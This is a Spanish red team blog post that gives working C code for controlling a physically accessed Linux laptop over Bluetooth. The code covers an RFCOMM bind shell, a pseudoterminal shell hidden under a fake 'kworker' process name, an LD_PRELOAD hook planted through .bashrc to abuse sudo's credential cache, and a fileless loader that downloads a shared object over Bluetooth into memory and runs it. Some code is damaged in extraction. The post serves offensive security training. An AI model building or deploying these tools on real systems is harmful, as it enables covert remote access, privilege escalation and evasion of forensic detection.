cabecera blog BlackArrow

Shell interactiva a través de Bluetooth

En ocasiones durante los ejercicios del Red Team se incluyen una o varias fases que requieren del acceso físico a una máquina, lo cual requiere replantear cómo afrontar este tipo de escenarios particulares. En este post se procederá a relatar el proceso seguido en una intrusión física a un portátil con linux y sin conexión a internet, pero con wifi y Bluetooth disponible.

El objetivo del post, orientado a un público más junior, es documentar y explicar los siguientes puntos:

1. Cómo intercambiar información a través de RFCOMM entre dos dispositivos con Bluetooth
2. Cómo obtener una shell interactiva para ejecutar comandos
3. Cómo abusar la caché de sudo para elevar privilegios
4. Cómo ejecutar binarios en memoria para disminuir la huella

Se diseccionará cada uno de estos apartados por separado.

0x00 – Introducción

Dada la naturaleza de la operación, y la restricción clara que supone que la máquina objetivo no esté conectada a internet, se deben buscar alternativas para poder manipular remotamente. La vía más sencilla probablemente sea levantar  un pequeño punto de acceso wifi y conectar la máquina comprometida a él, sin embargo para esta ocasión se puede aprovechar la coyuntura del escenario para explorar otro camino: establecer la comunicación a través de Bluetooth.

Por otra parte, en el escenario planteado al Red Team, se parte de la premisa de que el portátil está siendo utilizado por un trabajador que utiliza una cuenta limitada pero al que se le permite realizar tareas administrativas dentro de la máquina a través de sudo.

El cómo llegar a ejecutar comandos en la máquina a través de ingeniería social y dispositivos que emulen teclados, y tácticas similares, ha sido descrito ampliamente en los últimos años en distintos artículos, por lo que se omite en el presente post.

0x01 – Estableciendo una conexión con el atacante vía Bluetooth

Por simplicidad, el intercambio de información entre la máquina comprometida y el Red Team se realiza a través del protocolo RFCOMM, el cual está ampliamente soportado. Programar un pequeño servidor que acepte conexiones es bastante fácil dada su similitud con cómo se haría para TCP/IP:

 #include                                              
 #include                                             
 #include                                             
 #include                                             
 #include <sys/socket.h>                                        
 #include <bluetooth/bluetooth.h>                               
 #include <bluetooth/rfcomm.h>                                  
                                                                
 #define BANNER "[+] You are connected to the device!\n"        
                                                                
 // https://people.csail.mit.edu/albert/bluez-intro/x502.html   
                                                                
 int main (int argc, char *argv[]) {                            
     int s, client;                                             
                                                                
     /*                                                         
     struct sockaddr_rc {                                       
         sa_family_t rc_family;                                 
         bdaddr_t    rc_bdaddr;                                 
         uint8_t     rc_channel;                                
     };                                                         
     */                                                         
                                                                
     struct sockaddr_rc loc_addr = {0}, client_addr = {0};      
     socklen_t opt = sizeof(client_addr);                       
                                                                
     s = socket(AF_BLUETOOTH, SOCK_STREAM, BTPROTO_RFCOMM);     
                                                                
     loc_addr.rc_family = AF_BLUETOOTH;                         
     loc_addr.rc_bdaddr = *BDADDR_ANY; // Cualquier adaptador disponible en la máquina                                                   
     loc_addr.rc_channel = (uint8_t) 1; // Canal 1              
                                                                
     bind(s, (struct sockaddr *)&loc_addr, sizeof(loc_addr));   
     listen(s,1);                                               
                                                                
     for(;;) {                                                  
         client = accept(s, (struct sockaddr *)&client_addr, &opt);                                                                      
         printf("[+] New connection!\n");                       
                                                                
         // Escribimos un mensaje al cliente que se ha conectado
         write(client, BANNER, strlen(BANNER));                 
     }                                                          
     close(client);                                             
     close(s);
     return 0;                                                          
 }

Antes de ejecutarlo, se debe de permitir al dispositivo Bluetooth ser descubierto para poder emparejarnos con él y empezar la comunicación:

hciconfig hci0 piscan

Una vez nos emparejemos podemos comunicarnos con el servidor que se ha levantado, utilizando para la prueba de concepto la aplicación para Android “BlueTerm”.

Conexión a través de BlueTooth satisfactoria

Conexión a través de Bluetooth satisfactoria

Otra opción, alternativa a que la propia máquina comprometida actúe de servidor, y quizás mejor, es que ella actúe de cliente. De esta formase tiene que hacer un pequeño programa que esté buscando continuamente un dispositivo Bluetooth en su alcance, y en base a alguna premisa sencilla de cumplir (por ejemplo, un nombre o dirección concreta) intente conectarse al Red Team y se inicie el intercambio de información. El siguiente es un ejemplo de cómo implementar esta lógica:

#include 
#include 
#include 
#include <sys/socket.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/hci.h>
#include <bluetooth/hci_lib.h>
#include <bluetooth/rfcomm.h>

// Nombre del dispotivo que queremos encontrar
#define TARGET "Gojira"
#define BANNER "Connected to device!\n"

// https://people.csail.mit.edu/albert/bluez-intro/c404.html

int connect_client(char *address) {
    struct sockaddr_rc addr = {0};
    int s, client;
    s = socket(AF_BLUETOOTH, SOCK_STREAM, BTPROTO_RFCOMM);
    addr.rc_family = AF_BLUETOOTH;
    addr.rc_channel = (uint8_t) 1;
    str2ba(address, &addr.rc_bdaddr);
    client = connect(s, (struct sockaddr*)&addr, sizeof(addr));
    if (client < 0) {
        fprintf(stderr, "[-] Error: could not connect to target\n");
        return 0;
    }
    write(s, BANNER, strlen(BANNER));
    return 1;
}


int main (int argc, char **argv) {
    inquiry_info *ii = NULL;
    int max_rsp, num_rsp;
    int dev_id, sock, len, flags, i;
    char addr[19] = {0};
    char name[248] = {0};
    
    // Utilizamos el primer bluetooth disponible
    dev_id = hci_get_route(NULL);
    sock = hci_open_dev(dev_id);
    if (dev_id < 0 || sock < 0) {
        fprintf(stderr, "[-] Error opening socket\n");
        exit(EXIT_FAILURE);
    }
    
    len = 8;
    max_rsp = 255;

    // Limpiamos los dispositivos que puedan estar cacheados anteriormente
    flags = IREQ_CACHE_FLUSH;
    ii = (inquiry_info*) malloc(max_rsp * sizeof(inquiry_info));
    
    // Bucle para escanear
    for(;;) {
        // Escaneo
        num_rsp = hci_inquiry(dev_id, len, max_rsp, NULL, &ii, flags);
        if (num_rsp < 0) {
            fprintf(stderr, "[+] Error inquiry operation\n");
            free(ii);
            exit(EXIT_FAILURE);
        }

        // Iteramos por todos los dispoitivos encontrados
        for (i=0; i < num_rsp; i++) { ba2str(&(ii+i)->bdaddr, addr);
            memset(name, 0, sizeof(name));

            // Leemos el nombre de los dispositivos descubiertos
            hci_read_remote_name(sock, &(ii+i)->bdaddr, sizeof(name), name, 0);
            
            // Comprobamos si es el que estamos buscando
            if (strcmp(TARGET, name) == 0) {
                printf("Found! %s - %s\n", name, addr);
                free(ii);
                close(sock);
                connect_client(addr);
                exit(EXIT_SUCCESS);
            }
        }

    }
}

Como se ve a través de estos ejemplos, utilizar de manera puntual RFCOMM para establecer una comunicación rápida y controlar la máquina no requiere de mayor dificultad, siendo fácil implementarlo.

0x02 – Obteniendo una shell interactiva

El siguiente paso es poder ejecutar comandos en la máquina desde un móvil u otro dispositivo. Para ello se continúa con el ejemplo del servidor esperando conexiones en la propia máquina. El método más pedestre para obtener una shell es forkear el proceso, convertir el socket en el stdin/stdout/stderr del proceso hijo y ejecutar el intérprete de comandos:

#include lt;stdio.h>
#include lt;stdlib.h>
#include lt;unistd.h>
#include lt;signal.h>
#include lt;string.h>
#include lt;sys/socket.h>
#include lt;bluetooth/bluetooth.h>
#include lt;bluetooth/rfcomm.h>

#define BANNER "[+] You are connected to the device!\n"

// https://people.csail.mit.edu/albert/bluez-intro/x502.html

int main (int args, char *argv[]) {
    int s, client;
    pid_t pid;

    signal(SIGCHLD, SIG_IGN);
    /*     
    struct sockaddr_rc {
        sa_family_t rc_family;
        bdaddr_t    rc_bdaddr;
        uint8_t     rc_channel;
    }; 
    */

    struct sockaddr_rc loc_addr = {0}, client_addr = {0};
    socklen_t opt = sizeof(client_addr);

    s = socket(AF_BLUETOOTH, SOCK_STREAM, BTPROTO_RFCOMM);

    loc_addr.rc_family = AF_BLUETOOTH;
    loc_addr.rc_bdaddr = *BDADDR_ANY; // Cualquier adaptador disponible en la máquina 
    loc_addr.rc_channel = (uint8_t) 1; // Canal 1

    bind(s, (struct sockaddr *)&loc_addr, sizeof(loc_addr));
    listen(s,1);
    
    for(;;) {
        client = accept(s, (struct sockaddr *)&client_addr, &opt);
        printf("[+] New connection!\n");
        
        // Escribimos un mensaje al cliente que se ha conectado
        write(client, BANNER, strlen(BANNER));

        pid = fork();
        if (pid == 0) {
            dup2(client, 0);
            dup2(client, 1);
            dup2(client,2);
            execve("/bin/sh", NULL, NULL);
        }
    }
    close(client);
    close(s);
    return 0;
}

El problema subyacente a ejecutar comandos de este manera es la limitación que se experimenta, ya que no se puede -de forma sencilla- iniciar una sesión por SSH, utilizar VIM, etc.

Shell a través de BlueTooth

Shell a través de Bluetooth

Desde hace unos años han proliferado, quizás a raíz del OSCP y derivados, gran cantidad de artículos y “cheatsheets” donde se enumeran distintos métodos para pasar de una shell limitada a una genuina shell interactiva. Algunos de estos métodos son:

– El clásico one-liner de python con pty.spawn(“/bin/bash”)’
– Socat con la opción “pty”
– Expect / script
– stty

Este tipo de ases en la manga siempre está bien conocerlos, pero si se tiene la oportunidad de utilizar un binario propio como vehículo para la ejecución de comandos en la máquina… ¿porqué dejar esta parte a terceros cuando se puede implementar fácilmente?

A través de forkpty() se puede crear un proceso hijo que opera desde un pseudoterminal, y ejecutar la shell desde él. Una prueba de concepto rápida sería la siguiente:

#include 
#include 
#include 
#include 
#include 
#include <sys/socket.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/rfcomm.h>
#include 
#include <sys/select.h>
#include <sys/wait.h>
#include 

#define BANNER "[+] You are connected to the device!\n"

// https://people.csail.mit.edu/albert/bluez-intro/x502.html

int main (int args, char *argv[]) {
    int s, client;

    signal(SIGCHLD, SIG_IGN);
    /*     
    struct sockaddr_rc {
        sa_family_t rc_family;
        bdaddr_t    rc_bdaddr;
        uint8_t     rc_channel;
    }; 
    */

    struct sockaddr_rc loc_addr = {0}, client_addr = {0};
    socklen_t opt = sizeof(client_addr);

    s = socket(AF_BLUETOOTH, SOCK_STREAM, BTPROTO_RFCOMM);

    loc_addr.rc_family = AF_BLUETOOTH;
    loc_addr.rc_bdaddr = *BDADDR_ANY; // Cualquier adaptador disponible en la máquina 
    loc_addr.rc_channel = (uint8_t) 1; // Canal 1

    bind(s, (struct sockaddr *)&loc_addr, sizeof(loc_addr));
    listen(s,1);
    
    for(;;) {
        client = accept(s, (struct sockaddr *)&client_addr, &opt);
        printf("[+] New connection!\n");
        
        // Escribimos un mensaje al cliente que se ha conectado
        write(client, BANNER, strlen(BANNER));
        dup2(client, 0);
        dup2(client, 1);
        dup2(client,2);

        //A partir de aquí empieza la magia    
        struct termios terminal;
        int terminalfd, n = 0;
        pid_t pid;
        char input[1024];
        char output[1024];

        // Creamos un nuevo proceso hijo que operará en un pseudoterminal
        pid = forkpty(&terminalfd, NULL, NULL, NULL);
    
        if (pid < 0) {
            fprintf(stderr, "[-] Error: could not fork\n");
            exit(EXIT_FAILURE);
        }
        else if (pid == 0) { // Estamos en el proceso hijo que tiene el PTY
            execlp("/bin/zsh", "[kworker:01]", NULL); 
        }
        else { // Proceso padre
            // Atributos: sin ECHO 
            tcgetattr(terminalfd, &terminal);
            terminal.c_lflag &= ~ECHO;
            tcsetattr(terminalfd, TCSANOW, &terminal);

            // Utilizaremos select para comprobar si hay datos y enviarlos en un sentido u otro
            fd_set readfd;
            for(;;) {
                FD_ZERO(&readfd);
                FD_SET(terminalfd, &readfd); // Si terminalfd tiene datos
                FD_SET(1, &readfd); // Si el socket tiene datos
                select(terminalfd + 1, &readfd, NULL, NULL, NULL);
                if (FD_ISSET(terminalfd, &readfd)) { // Hay datos desde el proceso hijo
                    n = read(terminalfd, &output, 1024);
                    if (n <= 0) { write(2, "[+] Shell is dead. Closing connection!\n\n", strlen("[+] Shell is dead. Closing connection!\n\n")); break; } write(2, output, n); // Los mandamos por el socket memset(&output, 0, 1024); } if (FD_ISSET(1, &readfd)) { // Hay datos en el socket memset(&input, 0, 1024); n = read(1, &input, 1024); if (n > 0) {
                        write(terminalfd, input, n); // Los escribimos en el STDIN del proceso hijo
                    }
                }
            }


        }
    }
    close(client);
    close(s);
    return 0;
}

En las imágenes se aprecian claramente las diferencias respecto a la anterior shell sin un pseudoterminal:

Shell interactiva a través de BlueTooth

Shell interactiva a través de Bluetooth

Vim ejecutado a través de nuestra shell interactiva

Vim ejecutado a través de  shell interactiva

Con estas pequeñas primitivas se es capaz de construir un pequeño binario que  permita controlar la máquina con una shell a través de Bluetooth.

0x03 – Elevando privilegios a través de la caché de sudo

Si bien en los epígrafes anteriores se han centrado en esbozar una prueba de concepto que  permita el control a través de Bluetooth, lo ideal es que el programa se ejecute con los máximos privilegios posibles. Una de las técnicas más viejas de las que se puede utilizar es la de aprovechar la caché de sudo para ejecutar comandos o un binario del Red Team.

Por defecto cuando se ejecuta por primera vez “sudo” en un terminal, la contraseña del usuario es requerida. Sin embargo durante un lapso de tiempo esta contraseña queda cacheada, evitando al usuario tener que introducirla cada vez que realiza una tarea con sudo. Esta característica puede ser abusada fácilmente si se consigue ejecutar repetidas veces un binario dentro de la terminal donde se hizo sudo, esperando encontrar una ventana de tiempo donde la contraseña esté cacheada y no sea solicitada, de tal forma que éste pueda hacer sudo.

La forma más sencilla de conseguir esto es editando el archivo .bashrc (o equivalente si utiliza otra shell) y añadir la variable de entorno LD_PRELOAD con una librería propia. De esta forma se puede precargar la librería en los binarios linkados dinámicamente que sean ejecutados en esa shell. Al precargar esta librería, se tiene la libertad de realizar un “hook” de alguna función que suela ser ejecutada con asiduidad, de tal forma que cada vez que se llame a esa función se ejecute también el código encargado de comprobar si las credenciales están cacheadas: en caso afirmativo, se iniciaría la cascada de operaciones que se desean..

Importante: NO se está cargando la librería en sudo (porque tiene suid), lo que se hace es cargarla en los binarios para que, al ejecutar la función hookeada, compruebe si se puede hacer sudo sin indicarle la contraseña.

Como sencilla prueba de concepto se puede  representar el flujo de trabajo a través del siguiente ejemplo comentado:

#define _GNU_SOURCE                                                                                             
#include                                                                                               
#include                                                                                              
#include                                                                                               
#include <sys/stat.h>                                                                                           
#include                                                                                               
#include                                                                                              
#include <sys/wait.h>                                                                                           
//Basado en https://blog.maleadt.net/2015/02/25/sudo-escalation/                                                
typedef int (*orig_open_f_type) (const char *pathname, int flags);                                              
               
int open(const char *pathname, int flags, ...){ // A modo de ejemplo "hookearemos" open()                                                                
    orig_open_f_type orig_open;                                                                                 
    pid_t pid, extrapid;                                                                                        
    int empty, exitcode;                                                                                        
               
    orig_open = (orig_open_f_type) dlsym(RTLD_NEXT, "open"); // Guardamos una referencia a la función open original                                                    
               
    pid = fork(); // Nos forkeamos para comprobar si sudo se encuentra cacheado o no                          
    if (pid == 0) { //Si estamos en el hijo...    
        empty = orig_open("/dev/null", O_WRONLY);                                                               
        dup2(empty, STDERR_FILENO); // ...silenciamos cualquier error...                                                           
        execlp("sudo", "sudo", "-n", "true", NULL);// ...y ejecutamos sudo                                        
        exit(-1);                                                                                               
    } else {   // Estamos en el padre...
        wait(&exitcode);                                                                                        
        if (WIFEXITED(exitcode) && WEXITSTATUS(exitcode) == 0) {                                                
            if (exitcode == 0){ // Si todo ha ido bien y hemos podido ejecutar sudo...                                          
                extrapid = fork(); //Nos forkeamos para dejar fluir el programa                               
                if (extrapid == 0) {                                                                            
                    printf("It worked!\n"); // Y ejecutamos lo que queramos                                         
                    execlp("sudo", "sudo", "id", NULL);                                                         
                }                                                                                               
            }  
        }      
    }          
    return orig_open(pathname, flags); // Llamamos al open() original y devolvemos el resultado                                     
}

0x04 – Ejecutando binarios en memoria

Con el fin de disminuir el rastro en el portátil comprometido lo ideal sería diseñarlo de forma modular, alojando en la máquina únicamente un esqueleto mínimo encargado de realizar la conexión, y quizás dar una shell, y dejar el resto de la carga útil como pequeños payloads que se puedan cargar a través del Bluetooth en memoria. De esta forma, si se realiza un forense en frío se evita que se conozcan todas las capacidades reales.

A partir del kernel 3.17 se dispone de una nueva syscall llamada “memfd_create” que permite obtener un descriptor de ficheros asociado a memoria, realizando de esta forma operaciones con ficheros pero sin que estos estén enlazados al sistema de ficheros. Se puede, por tanto, utilizar para alojar librerías o binarios (que se descargarían a través de Bluetooth) que contendrían el código más relevante. De esta forma se trabajaría con un esqueleto encargado simplemente de conectar y descargar una serie de módulos.

La alternativa menos espectacular, pero que aun así sigue siendo relativamente interesante, es descargar los módulos en /dev/shm y borrarlos rápidamente una vez se hayan ejecutado o cargado. Estas ideas se explica más en detalle en este post ‘Loading “fileless” Shared Objects (memfd_create + dlopen)’ .

Como pequeña prueba de concepto, se combinará todo lo visto en este post (detectar un dispositivo Bluetooth con un nombre determinado, conectar a él, descargar un .so y su carga):

#define _GNU_SOURCE


#include <sys/socket.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/hci.h>
#include <bluetooth/hci_lib.h>
#include <bluetooth/rfcomm.h> 
#include 
#include 
#include 
#include 
#include 
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/utsname.h>
#include 


#define TARGET "Gojira"
#define SHM_NAME "IceIceBaby"
#define __NR_memfd_create 319 // https://code.woboq.org/qt5/include/asm/unistd_64.h.html


// Wrapper to call memfd_create syscall
static inline int memfd_create(const char *name, unsigned int flags) {
    return syscall(__NR_memfd_create, name, flags);
}

// Detect if kernel is < or => than 3.17
// Ugly as hell, probably I was drunk when I coded it
int kernel_version() {
    struct utsname buffer;
    uname(&buffer);
    
    char *token;
    char *separator = ".";
    
    token = strtok(buffer.release, separator);
    if (atoi(token) < 3) { return 0; } else if (atoi(token) > 3){
        return 1;
    }

    token = strtok(NULL, separator);
    if (atoi(token) < 17) {
        return 0;
    }
    else {
        return 1;
    }
}


// Returns a file descriptor where we can write our shared object
int open_ramfs(void) {
    int shm_fd;

    //If we have a kernel < 3.17
    // We need to use the less fancy way
    if (kernel_version() == 0) {
        shm_fd = shm_open(SHM_NAME, O_RDWR | O_CREAT, S_IRWXU);
        if (shm_fd < 0) { //Something went wrong :( fprintf(stderr, "[-] Could not open file descriptor\n"); exit(-1); } } // If we have a kernel >= 3.17
    // We can use the funky style
    else {
        shm_fd = memfd_create(SHM_NAME, 1);
        if (shm_fd < 0) { //Something went wrong :(
            fprintf(stderr, "[- Could not open file descriptor\n");
            exit(-1);
        }
    }
    return shm_fd;
}


// Load the shared object
void load_so(int shm_fd) {
    char path[1024];
    void *handle;

    printf("[+] Trying to load Shared Object!\n");
    if (kernel_version() == 1) { //Funky way
        snprintf(path, 1024, "/proc/%d/fd/%d", getpid(), shm_fd);
    } else { // Not funky way :(
        close(shm_fd);
        snprintf(path, 1024, "/dev/shm/%s", SHM_NAME);
    }
    handle = dlopen(path, RTLD_LAZY);
    if (!handle) {
        fprintf(stderr,"[-] Dlopen failed with error: %s\n", dlerror());
    }
}

//Connect to client, read module and write to RAM
int download_to_RAM(char *address) {
    struct sockaddr_rc addr = {0};
    char recvBuff[2048];
    int s, client, fd, size;

    s = socket(AF_BLUETOOTH, SOCK_STREAM, BTPROTO_RFCOMM);
    addr.rc_family = AF_BLUETOOTH;
    addr.rc_channel = (uint8_t) 1;
    str2ba(address, &addr.rc_bdaddr);
    client = connect(s, (struct sockaddr*)&addr, sizeof(addr));

    if (client < 0) {
        fprintf(stderr, "[-] Error: could not connect to target\n");
        exit(-1)
    }

    fd = open_ramfs();
    printf("[+] File descriptor for RAM file created\n");
    printf("[+] Reading file from socket & writting to RAM file... ");
    while(1) {
        if ((size = read(s, recvBuff, 2048)) <= 0) {
            printf("finished\n");
            break;
        }
        write(fd, recvBuff, size);
    }
    return fd;
}


int main (int argc, char **argv) {
    int fd;
    inquiry_info *ii = NULL;
    int max_rsp, num_rsp;
    int dev_id, sock, len, flags, i;
    char addr[19] = {0};
    char name[248] = {0};
    
    // Utilizamos el primer bluetooth disponible
    dev_id = hci_get_route(NULL);
    sock = hci_open_dev(dev_id);
    if (dev_id < 0 || sock < 0) {
        fprintf(stderr, "[-] Error opening socket\n");
        exit(EXIT_FAILURE);
    }
    
    len = 8;
    max_rsp = 255;

    // Limpiamos los dispositivos que puedan estar cacheados anteriormente
    flags = IREQ_CACHE_FLUSH;
    ii = (inquiry_info*) malloc(max_rsp * sizeof(inquiry_info));
    
    // Bucle para escanear
    for(;;) {
        // Escaneo
        num_rsp = hci_inquiry(dev_id, len, max_rsp, NULL, &ii, flags);
        if (num_rsp < 0) {
            fprintf(stderr, "[+] Error inquiry operation\n");
            free(ii);
            exit(EXIT_FAILURE);
        }

        // Iteramos por todos los dispoitivos encontrados
        for (i=0; i < num_rsp; i++) { ba2str(&(ii+i)->bdaddr, addr);
            memset(name, 0, sizeof(name));

            // Leemos el nombre de los dispositivos descubiertos
            hci_read_remote_name(sock, &(ii+i)->bdaddr, sizeof(name), name, 0);
            
            // Comprobamos si es el que estamos buscando
            if (strcmp(TARGET, name) == 0) {
                printf("Found! %s - %s\n", name, addr);
                free(ii);
                close(sock);
                fd = download_to_RAM(addr);
                load_so(fd);
                exit(EXIT_SUCCESS);
            }
        }

    }
    exit(0);
}

Descubre nuestro trabajo y nuestros servicios de ciberseguridad en www.tarlogic.com/es/

En TarlogicTeo y en TarlogicMadrid.